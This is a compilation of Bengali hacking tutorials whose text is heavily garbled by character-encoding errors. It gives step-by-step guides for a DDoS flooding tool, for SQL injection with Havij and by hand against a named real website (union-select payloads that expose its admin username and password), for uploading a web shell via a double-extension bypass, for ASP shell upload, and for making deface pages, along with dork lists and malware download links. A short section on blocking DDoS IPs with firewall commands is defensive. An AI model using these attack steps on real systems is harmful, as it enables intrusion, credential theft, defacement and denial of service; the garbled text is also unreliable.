পটযযাযটি ডাউনচছরাড ফা এটি কতনচছয কাজ কযায অচছগ অনায কতকতয একতনটবাআযাচছয সপরাচছটকন প যাখন

এটিচছক অনায একতনট বাআযা সটরাজান ফা বাআযা কতাচছফ কতডচছটকট কযচছত াচছয তচছফ বয নাআ এটি সকান বাআযা ফা সটরাজান নয কতনবব চছয আউজ করন

পটযযাযটি পরথচছভ কতনচছচয কতরে সথচছক ডাউনচছরাড কচছয কতনন এফং Extract করন

httpwwwmediafirecomfamiivi799a9459

পটযযাযটিডাফর কতিক কচছয চছন করন মাচছদয উআচছনডাজ ৭ তাযা পাআচছর যাআট কতিক কচছয Run as

administrator এ কতিক কচছয চছন করন কতনচছচয ভত উআচছনডা অচছফ

১ URL ফচছকস সম সকান াআচছটয নাভ সরখন

(ফাআ কতভচছর একটি াআট কতচছরকট কযচছত চছফ কতচছের এটাচছক াআচছটয কতকছআ চছফ না ট াআচছটয কতরে httpwwwalexacomtopsites এখান সথচছক াচছফন তাআ ফাআ কতভচছর একটি াআট কতচছরকট করন সমটিচছক ডাউন কযচছত চান)

২ lock on কতচছরকট করন

৩ সদখচছফন অআকত রক চছয কতগচছযচছছ

৪ কতচতর এয ভত কচছয http কতচছরকট করন

৫Threads ফকস এ 1000 টাআ করন

৬ এফায EMMA CHARGIN MAH LAZER ফাটনটি সত কতিক করন

৭ ফলাকতডং শর চছয মাচছফ

------------------------------------------------------------------------------------------------------------------------------------------------------------ DoS DDoS এয সথচছক ফাচায উায কতক

ফাচায জনয পরথচছভ অনাচছক জানচছত চছফ অকতন অকরানত কতকনা অয তা সফাঝায জনয সখযার করন

১ যাচছকট র চছে কতকনা থফা কততকতযি ভাতরায াবব ায সরটকযচছছ কতকনা রযাগ চছে কতকনা ২) কততকতযি াবব ায সরাড অনায াবব ায এয াচছথ ংমি কাচছনকন গচছরাচছক সচক কযায জনয CMD সথচছক কতনচছচয কভানড টি কতরখন

netstat -ntu | awk lsquoprint $5rsquo | cut -d -f1 | sort | uniq -c | sort -n

মকতদ সদচছখন সকান একটা কতনকতদব ি থফা কাছা কাকতছ অআকত সথচছক ১০০ + কাচছনকন চছযচছছ

তচছফ ফচছঝ কতনচছফন সম খফয খাযা icon sad

এফায অকত কতকবাচছফ অনায াবব ায সথচছক একটা অআকত সক ফযান কযচছফন hellip

মকতদ অনায াবব াচছয APF firewall আনসটর কযা থাচছক তচছফ CMD সত কতরখন

apf -d xxxxxxxx

মকতদ CSF firewall আনসটর কযা থাচছক তচছফ কতরখন

csf -d xxxxxxxx

অয মকতদ দচছটায একটা না থাচছক এফং অকতন মকতদ শধ iptables আউ কচছযন তচছফ কতরখন

iptables -I INPUT 1 -s -j DROP xxxxxxxx

উচছেখ এখাচছন xxxxxxxx এয সথচছর সম অআকত টা ফযান কযচছত চান তা ফচছফ

তচছফ ফচছর যাখা বার অকতন কতনচছজ ফভযআ াবব ায এ ফচছ থাকচছত াযচছফন না এফং এয যত ার এয খফয যাখচছত াযচছফন না

এয জনয অনাচছক অনায সাটিং এয উয কতনবব য কযচছত চছফ এভন কাচছযা কাছ সথচছক সাটিং কতনচছত চছফ মাযা ফভয সডকতডচছকচছটড ড যাটাক াচছাটব সদয

এছািা অচছযা কতগচছরা কতফলয অচছছ সমগচছরায উয সখযার যাখচছরআ াধাযন ড কতডড যাটাকচছথচছক ফাচচছত াযচছফন খফ চছজআ অন সদচছখ সনআ সগর সকভন

াবব ায সভকতন এয যকষা কতনকতশচত করন ফায অচছগ

চছনকভয সদখা মায যাকায যা সম াবব ায সক যাটাক কযচছত চায সটা সকআ ফায অচছগ সছাটট একটা নাননা ভননা সটরাজান কতদচছয ধযাাযী কচছয যাচছখ

পরাপর ড যাটাচছকয ভয াবব ায কতনচছজ কতনচছজয কতফরচছি কাজ কযা শর কচছয অনাচছক কতনকতশচত কযচছত চছফ াবব ায কতনচছজ সমন ফ কতদক সথচছক যকতকষত থাচছক

এযজনয মথা সকান সনোআব সথচছক সকান ডাটা টরানসপায কযচছফন না যকতকষত াআট ঘযাঘকতয কযচছফন না কতনকতশচত তর সথচছক পরাি সকান পাআর যাকতয চছনকযচছফন না

সকান সকান সাটব গচছরা চছন যাখা জরকতয তা সজচছন কতনন মথা পরচছযাজনীয সাটব সখারা সযচছখ ঝাচছভরা ফািাচছফন না

অনায সকান সকান াবব ায সাটব সখারা যাখা উকতচত তা সজচছন কতনচছত ভাআচছকরাপট এয Microsoft Knowledge Base (KB)

অটিব চছকর 150543 চছত সজচছন কতনন

httpsupportmicrosoftcomdefaultaspxscid=kben-us150543ampsd=tech

াচছযটিং কতচছেভ এয কতডপি কতকযকতযটি সথচছক চছফবারচ পাযদা কতনন

উআচছনডাজ াচছযটিং কতচছেভ ফযফায কযচছর কতচছেভ পাআর সচকতকং [ System File Checking ( SFC) ]

এফং আনটাযচছনট কাচছনকন পাযাযযার [ Internet Connection Firewall ( IFC ) ] এনাচছফর কচছয কতনন এগচছরা কতকনত কতডপি বাচছফ কতডজযাচছফর কযা থাচছক

এগচছরা অনায াবব ায কতচছেভ এয কতপিাকতযং াযপচছভবনস ঠাৎ কচছয ফহগন ফাকতিচছয কতদচছফ

কাচছনকটিকতবটি ককতভচছয কতদন

অনায াবব ায এয াচছথ সমাগাচছমাগ ফা কাচছনকন সথান কযায জনয খফ কতনকতদব ি কতকছ সাটব কতচছরকট কচছয কতদন মাচছত কচছয াবব ায

এফং কাচছনকটিং কতচছেভ দচছটাযআ পাযাযযার িণব ফযাায তা ধযচছত াচছয উদাযণ সবর HTTP SMTP FTP IMAP

এফং POP সাটব গচছরা কতচছরকট করন অনায াবব ায এয াচছথ কাচছনকন এয জনয কতনযধাকতযত সাটব গচছরা

এগচছরা চছনক যকতকষত এফং কতনকতশচত icon smile

পাযাযযার ফযফায করন

উআচছনডাজ এয পাযাযযার মচছথি বার কতকনত মবাি বার না এয জনয অকতন নয পাযায যার ফযফায কচছয সদখচছত াচছযন

এচছত কচছয আনফাউনড অউটফাউনড ফ ধযচছনয কাচছনকন এয উয খফ চছজআ অকতন সচাখ যাখচছত াযচছফন

এফং অনায কতচছেভ াবব ায যকষা সফচছি মাচছফ চছনক গচছন কতগর বার পাযাযযার এয ঠিকানা অকতভ এখাচছন কতদচছয কতদকতে সদচছখ কতনন

httpwwwsymanteccomindexjsp httpwwwsymanteccomindexjsp httpwwwzonealarmcom httpwwwcomodocom

এছািা DoS DDoS attack রযন এয াাময সনযা মায সমভন RioRey

সািটি - pirate_king এফং শভর অকাgtgtgtgtgtএয সাে সথচছক একতডট কযা চছযচছছ

heartsheartshearts Havij

SQLi টিউমটাসরো heartsheartshearts

Download

Havij 15 Pro httpwwwmediafirecoms7a89dxmfwxcyij

পরথচছভ GoogleCom এ মান

এফায কতনচছচয গগর ডকটি কতরচছখ াচব কতদন

inurlphpid=

তাচছর চছনকগচছরা পরাপর সদখাচছফ

এখাচছন চছনক Dork াচছফন httppastebincomDvnHxg7i

সদখন পরাপর সদখাচছে ldquoপরায 2010000000টি পরাপর(023 সচছকনড) rdquo

এফায সম সকান একটি াআচছট পরচছফ করন

এছািা অকতন সম সকান াআট ধযচছত াযচছফন সম ফ াআচছটয য phpid= অচছছ সআ ফ াআচছট াযচছফন সমভনঃ

httpwwwpaulprescottcomthemephpid=10

অভযা এআ াআটটিচছক টাচছগবট কযরাভ

এফায অনায টাচছগবট কযা াআচছটয কতরংচছকয সচছল সদচছখন এভন একটা অচছছ ID=XX এখাচছন XX এয জাযগায সমচছকান নং অচছছ সমভন অভায এখাচছন অচছছ ID=10

এফাযয এআ কতরংচছকয সচছল একটা ( lsquo ) রাগান

এফায এনটায কতদন

এফায মকতদ উচছযয ভচছতা Error সদখায তাচছর ফঝচছফন সম াআটটিচছত inject কযা মাচছফ

এফায ldquoHavijrdquo টরটা চছন করন তাচছর কতনচছচয ভচছতা অচছফ

এফায Error াযা াআটিয কতরংকটি এখাচছন সদন ldquoAnalyzerdquo ফাটচছন কতিক করন (উচছযয কতচতরটি সদখন) এফায কতকছকষণ চছকষা করন তাচছর টরটি চছযফাআটটি যীকষা কযচছফ

মকতদ কাজ য তাচছর এআ যকভ ভযাচছজ কতদচছফ

Current DB XXXX

কতনচছচয ছকতফটি সদখন

এফায ―Tables tab এ মান

এফায ―Get DBlsquos এ কতিক করন

এফায ফাভাচছয যাচছনচছর সদখন ২টা ডযাি পাআর াযা সগচছছ ―paul_third ―information_schema

দটা পাআর

―information_schema অনায ধযায দযকায নাআ এখাচছন MySQL তথয থাচছক

শধ ভাতর ―paul_third কতচছরকট করন

এফায ―Get Tables এ কতিক করন

তাচছর অকতন সটকতফচছরয ডযাি পাআরগচছরা সচছয মাচছফন

এখন অভযা administration panel টি যাক কযচছত সচিা কযফ

এখন ―admin table টি সচক করন

এখাচছন ভাতর ১ জনআ আউজায াচছফন মকতদ অকতন সকান আউজায না ান তাচছর অকতন এখাচছন যাক কযচছত াযচছফন না

এফায ―Get Columns ফাটচছন কতিক করন

তাচছর কতনচছচয ভচছতা অচছফ

এখাচছন ―id ―username ( সম Username কতদচছয চছযফাআচছট রগআন কচছয ) ―password ( সম Password কতদচছয চছযফাআচছট রগআন কচছয) ―email (এডকতভন সম সম আচছভআর কতদচছয সযকতজঃ কচছযচছছ কাজ কচছয)

এফায ―Get Data টযাচছফ কতিক করন

তাচছর টরটি অনাচছক Username Password আচছভআচছরয তথযগচছরা সদখাচছফ

অফায ―Find Admin টযাচছফ কতিক করন

তাচছর এটি অনাচছক Administration Panel login সদকতখচছয সদচছফ

এফায অকতন অনায কতবকটিচছভয চছযফাআটিয নাভ টাআ করন administration panel সফয কযায জনয

তচছফ ভচছন যাখচছফনphpid=XX অফায রাগাচছযন না

ldquoPath to Searchrdquo ফচছকস িণব URL টি কতরখচছফন

এফায ldquoStartrdquo ফাটচছন কতিক করন তাচছর অনাচছক Administration Panel login page টা সদখাচছফ

তাচছর অভযা Administration Panel সরাভ

এফায administration panel login সচছজ মান অচছগয াযা আউজায অআকতড াযাডব কতদচছয এডকতভন সজ রগআন করন

মপাষটটি সমেমেি -িসিববাসিত টিউিারtrade

সকান পটযযায ছািা SQL INJECT কচছয অনাচছদয বানবাফর াআট রাআব যাক কযা কতখাচছফা

তাচছর কথা না ফাকতযচছয শর ককতয

পরথচছভ SQL INJECT কযায জনয অভাচছদয বানবাফর াআট খজচছত চছফ

এয জনয অভযা dork use কযফ

inurlindexphpid= inurltrainersphpid=

inurlbuyphpcategory= inurlarticlephpID=

inurlplay_oldphpid= inurldeclaration_morephpdecl_id=

inurlPageid= inurlgamesphpid=

inurlpagephpfile= inurlnewsDetailphpid=

inurlgalleryphpid=

এআ খাচছন কতকছ dork অচছছ sql বানবাফর াআট খজায জনয

8500 SQL dorks list

httppastebincomdzknXjgP or

httppastebincomayV6tNS2

পরথভ এ একটা dork কতনচছয অভযাwwwgooglecom এ SEARCH কতদফ

inurlnews-and-eventsphpid=

এআ dork কতদযা SEARCH কতদচছয অকতভ চছনক াআট সদখরাভ সখান সথচছক অকতভ একটা াআট কতনরাভ

সমভন httpwwweastodissaacinnews-and-eventsphpid=22

ছকতফঃ

পরথচছভ SQL INJECT কযায জনয াআচছটয ID সবরয খজচছত য

এযয অনাচছক সদখচছত চছফ াআট টি injectable কতকনা

এয জনয অনাচছক url এয সচছল একটি lsquo ফাচছত চছফ

httpwwweastodissaacinnews-and-eventsphpid=22

মকতদ ডাটাচছফচছজয কতকছ কতভকতং অচছ ফা সচছজয কতকছ আযয অচছ তাচছর ফঝচছফন াআট টি injectable

সমভন ldquoYou have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the

right syntax to use near rdquorsquo at line 1Prime

ছকতফঃ

এখন injectable াআচছট inject কযায জনয অনাচছক পরথচছভ ডাটাচছফচছজয করাভ সফয কযচছত চছফ

এখাচছন অভাচছদয বানবাফর াআট

httpwwweastodissaacinnews-and-eventsphpid=22

মাআ সাক অভাচছদয ডাটাচছফচছজয করাভ সফয কযচছত চছর +order+by+ কভানড কতদচছত চছফ

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+

এখন + এয সচছল অনাচছক 1 সথচছক শর কচছয তত মবনত সচিা কযচছত চছফ

এখন 1 কতনচছয সদচছখন

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+1--

না তাচছর াআচছট সকাচছনা ডাটা কতভ কযচছতচছছ না

অফায 2 কতদচছয সচিা ককতয

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+2--

ছকতফঃ

না এফায ডাটা কতভ কযচছতচছছ না

এফাচছফ 345 কচছয 7 মবনত সগরাভ

8 এ সগচছর চছযা াআট SQL আযয সদখায

(চছনক ভয সদখা মায

wwwsitecomindexphpid=1 order 999ndash [ no error ]

থবাৎ order by 999 কতদচছর সকান error সদখায না

এচছকষচছতর mdash এয য + এফং id=1 এয য lsquo sign কতদচছত চছফ

তাচছর িণব কতরেটি চছফ

wwwsitecomindexphpid=1prime order by 999ndash+

এফায সচছজ error সদখাচছফ

ফাকতক ংগচছরা াধাযন SQL Injection এয ভতআ চছফ )

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+8--

ছকতফঃ

আযয এযকচছভয চছত াচছয

Could not connect to MySQL server Unknown column rsquo8prime in lsquoorder clausersquo

থবাৎ এআ াআচছটয ডাটাচছফচছজয করাভ 7 টি

এখন অভাচছদয সদখচছত চছফ এআ 7 টা করাচছভয সবতয বানবাফর সকানটি এয জনয অভাচছদয অফায কভানড ফযফায কযচছত চছফ

কভানড টি

+union+select+1234567--

তাচছর কতরংক টি দািাচছফ

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1234567--

ছকতফঃ

( উচছেখ এখাচছন news-and-eventsphpid= এয য একটি ndash সদযা চছযচছছ (

এখন অকতন বানবাফর করাভ সদখচছত াচছফন

এআ াআচছটয বানবাফর করাভ 23সদখাচছফ

এখাচছন অভযা 2 নমবয করাভ কতনচছয কাজ কযচছফা

এখন অভযা বানবাফর করাচছভয বাবন সফয কযচছফা

এয জনয অনাচছক অফায একটি কভানড ফযফায কযচছত চছফ

এখন অচছগয কতরংচছক শধ 2 এয জাযগায versionকতদচছত চছফ

তাচছর কতরংক টি দািায

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1version34567--

ছকতফঃ

এআ কতরংচছক সগচছর অভযা বাবন সদখচছত াচছফা

এটায বাবন 5168-community

বাবন 5 এয কতনচছচ াআট গচছরা চছফ না তা ফাদ কতদচছয নযগচছরা াআট inject কযচছত সচিা কযচছফন

এখন অভযা অচছযকটি কভানড ফযফায কচছয সটকতফর সফয কযফ

এচছকষচছতর বানবাফর করাচছভয ফদচছর group_concat(table_name) কভানড কতদচছফা এফং সল করাচছভয য

+from+information_schematables+where+table_schema=database()-- কভানড কতদচছফা

তাচছর কতরংকটি দািাচছরা

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1group_concat(table_name)34567+from+information_schematables+where+table_schem

a=database()--

কতরংচছক সগচছর অকতন কতকছ সটকতফর সদখচছত াচছফন

ছকতফঃ

এআ াআচছটয সটকতফর গচছরা র

est_achievementest_adminest_adminlogest_companyrecordest_facprofileest_newsest_noticeest_onlineapplicatio

nest_placementrecord

এখন এখান সথচছক এডকতভন সটকতফর সফয কযচছত চছফ

এচছকষচছতর অনাচছক একট ফকতি খাটাচছত চছফ সমভন এখাচছন est_achievement est_companyrecord এয এডকতভন সটকতফর চছফ না ফঝা মায

একভাতর est_admin এডকতভন সটকতফর ভচছন য

ধচছয কতনচছত না াযচছর ফা বর ধযচছর ভাযা সনআ

কভাচছনডয ভাধযচছভ সফয কযচছত চছফ এচছকষচছতর অনাচছক বানবাফর াআচছটয ফদচছর group_concat(column_name) কভানড কতদচছত চছফ

এফং সল করাচছভয য +from information_schemacolumns where table_name= এয য অনায ধচছয সনযা এডকতভন সটকতফচছরয CHAR রানতয কতদচছত চছফ

এআ কতরংক সথচছক এডন টি ডাউনচছরাড কচছয আনসটর কচছযন পাযাযপকস বরাউজায

httpsaddonsmozillaorgen-USfirefoxaddonhackbar

এখন যাকফায টি চছন কচছযন F9 সচচছ

এফায SQLgtMySQLgtMySQL CHAR() কতিক কচছযন

ছকতফঃ

নতন একটা ফকস অচছফন সখাচছন যাডকতভন সটকতফর টি কতদচছয ok কতদন

ছকতফঃ

এখাচছন est_admin সক CHAR রানতয কযচছর য CHAR(101 115 116 95 97 100 109 105 110)

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=-

22+union+select+1group_concat(column_name)34567+from+information_schemacolumns+where+table_name=CH

AR(101 115 116 95 97 100 109 105 110)--

ছকতফঃ

অকতন এডকতভন সটকতফর ধাযনা না কযচছত াযচছর অকতন = এয য নযানয সটকতফচছরয সকস রানতয কতদচছয সচিা কযচছফন

সমচছত অভযা ফচছঝকতছ est_admin এডকতভন সটকতফর এয CHAR রানতয কতদচছয কতরংচছক কতগচছয অভযা সরাভ কতকছ এডকতভন করাভ

uiduseridpasswordemailidsignaturelast_login

এখন অভযা এডকতভন করাভ সথচছক াআচছট রকতগচছনয জনয আউজাযচছভভ অয াযাডব সফয কযচছফা

এজনয অভাচছদয সল কভানড ফযফায কযচছত চছফ

এজনয অভাচছদয বানবফর করাচছভয ফদচছর group_concat(login0x3aPass0x3a) কভানড কতদচছফা

সমচছত অভযা এডকতভন করাচছভ userId সচছযকতছ তা login এয ফদচছর কভাচছনড userId কতরখচছফা অকতন নয াআচছট নয কতকছ সচছত াচছযন

করাভ কতচছচছফ অনাচছক কভানড কযচছত চছফ

এবক বাচছফ কভাচছনড Pass এয ফদচছর password ফযফায কযচছত চছফ

এফং সল করাচছভয য +from+est_admin-- ফাচছত চছফ

+from+ এয য est_admin কতদরাভ কাযন এখাচছন এডকতভন সটকতফর est_admin

তাচছর কতরংক টি দািায

httpwwweastodissaacinnews-and-eventsphpid=-

22+union+select+1group_concat(userId0x3apassword0x3a)34567+from+est_admin--

ছকতফঃ

সদখচছফন অকতন আউজাযচছনভ সচছয মাচছফন

এখাচছন আউজাযচছভভ াযাডব চছে trustadministi$$952013

আউজাযচছভভ trustadmin

াযাডব isti$$952013

এখন সল কাজ চছে এডকতভন সচছনর সফয কযা

এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ

মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন

-httpscansubhashdasyamcomadmin-panel-finderphp

অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয

অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন

তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন

httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player

কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না

অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না

কতরচছখচছছনঃ ফারক িঅহমমদ

অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ

াগমবিঃ

Mozilla Firox ভকতজরা পাযাযপকস

Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক

httpsaddonsmozillaorgenfirefoxaddonlive-http-headers

shell সম সকান সর ফযফায কযচছত াচছযন

কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell

httpwwwpastebucketcom19852

or

wwwmediafirecom64fjdlvzo9zhrra

shell username and password

username I-47

password I-47

তাহম এেি শর কসর

১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর

করণ

২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg

৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ

৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন

৫save click কচছযন

৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন

১এখন কতিক করন 47phpjpgচছয কতিক করণ

২ Reply ফাটন

৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত

৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক

২ Reply ফাটন

এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ

এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ

wwwsitecomgallery37473jpg

এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php

এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ

Video Tutorial

httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube

কতরচছখচছছনঃ ফারক িঅহমমদ

কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা

--==DefacePage Generator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন

১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r

২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন

সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif

৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন

এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave

as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files

কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml

--==Advance Deface Page Creator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

Tutorial -

পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন

এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ

এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ

এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন

Add Homepage title and texts এ কতিক করন

এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন

সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন

সরখা সল চছর চছক কচছয কতদন

এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন

সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html

--==অকতনমকতদ HTML াচছযন==--

অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন

Collection -bcaware

httpwwwtunerpagecomarchives78980

httpwwwtunerpagecomarchives98804

httpwwwtunerpagecomarchives219088

httpwwwtunerpagecomarchives224434

---------------------------------------------------------------------------------------

---------------------------------------------------------------------------------

1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ

2 Collection of Important Programming Languages E-books

httpwwwfacebookcomdownload290805637728289Collection20of20Important2

0Programming20Languages20Erar

3 Collection of best SQL injection Tools

পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ

অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন

পারক অচছভদ

wwwfacebookcommdfaroqueahmed

Mystrious Tusin

wwwfacebookcomcyb3rc0d3

Page 39: Hacking Bangla eBook

কতনচছজয নাচছভ একটি ফলযা(swf) Animation ফাকতনচছয Upload কচছয দাফযা এআখান সথচছক জাবাকতিপটটা ডাউনচছরাড কচছয কতনন httpwwwmediafirecomirruu15qetlebuj gtgtএফাযঅকত নযবাচছফgtgt অচছগয ভতআ STOP পরজনত অন তাযয নতন অনটি সত কতিক কচছয একটা সর অচছরাড কয এখান সথচছক ASP সরটি ডাউনচছরাড করন httpwwwmediafirecomdownloadroi2g28hhyi0r6xaspydrvzip তাযয অচছরাড কয

কতকনত অনাচছক যাকতয ASP পাআর অচছরাড কযচছত কতদচছফ না এআ জনয কতটরক ফযাফায কযচছত চছফ সতাভায

সর টা কতযচছনভ কচছয কতরখন marufaspjpg এখন অচছরাড কচছয সদখন অচছরাড কযচছত কতদচছে অনাচছক ফযআ ASP সর ফযাফায কযচছত চছফ PHP সর কতকনত কাজ কযচছফ না সর অচছরাড চছযচছগচছর এআখাচছন মান httpকতবকতকটভcomportals0marufaspjpg ―কতবকতকটভ এয জাযগায সতাভায Hackable াআচছটয নাভ কতরখচছফতাযয সচছয মাচছফ সর একচছ আযা আযা হযা াআট সতাভায কটরচছর সতভন কষকতত কযচছফ না অয মাযা একট Advance তাযা Backconnect কতদচছয াবব ায Root কচছয সপর কতবকতড সদখন httpwwwyoutubecomwatchv=3KVi3_Fkkww

কতরখাটি একতডট কযা চছযচছছ ভারপ অরভ P1n1X_Cr3w সাে সথচছক

ফযাকতক যাকতকং-১২ -DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ

কতকবাচছফ DdoS যাটাক কযফ

পরথভ পরশন DoS কতজকতন টা কতক DDoS এফং DoS কতক একআ কতজকতন

DoS এয কতযণব র চছে Denial of Service DoS যাটাক এ একটা কতকত থফাএকটা আনটাযচছনট কাচছনকন [ যাটাকায ] সথচছক একটা কতনকতদব ি াবব ায [কতবকটিভ ] এ নফযত [ ফলাকতডং ] TCP UDP যাচছকট াঠাচছনা য

এচছত কচছয আ কতনকতদব ি াবব ায এয ফযানডউআথ এফং নযানয ফকতকছ বাযচছরাড চছযমায পরাপর এয য সমআ আ াবব ায এ কাচছনকন কযায সচিা কযচছফ তাচছকআ াবব ায াকতবব সদযা সথচছক কতফযত থাকচছফ

থবাৎ সাজাকতজ Denial of Service চছফ াবব ায সথচছক

এফায DDoS এটায ণব র চছে Distributed Denial of Service ফযাায টা এবাচছফ কতচনতা করন hellip অকতন যাসতা কতদচছয সচছট মাচছেন ঠাৎ কচছয অনাচছকএকজন কতছনতাআকাযী অকরভন কযচছরা

এখন অকতন মকতদ গাচছয গতচছয তায সথচছক একট কতিারী চছয থাচছকন এফং বাগয খাকতনক টা পরনন চছয থাকচছর অকতন উরচছটাআ কতছনতাআকাযী সক কতটিচছয তিা ফাকতনচছয কতদচছয াচছযন

কতকনত মকতদ অনাচছক ১ জচছনয জাযগা সত ১০ -১২ জন অকরভন কচছয

১৫ কতদন য াাতার সথচছক ছািা াচছফন ঠিক এযকভ ফযাায আ চছে DDoS DoS এয ভত কচছযআ কাজ কচছয কতকনত DDoS এ চছনক সফী যাটাকায একাচছথ কাজ কচছয পরাপর বযাফ

অভায কথাফাতব া কতক একট উদভট রাগচছছ S এতখন মা ফররাভ তা কতক দচছফবাধয রাগচছছ তাচছর কতনচছচয কতচতরগচছরা সদখন ফচছঝ জাচছফন কতকবাচছফ DoS এফং DDoS কতকবাচছফকাজ কচছয

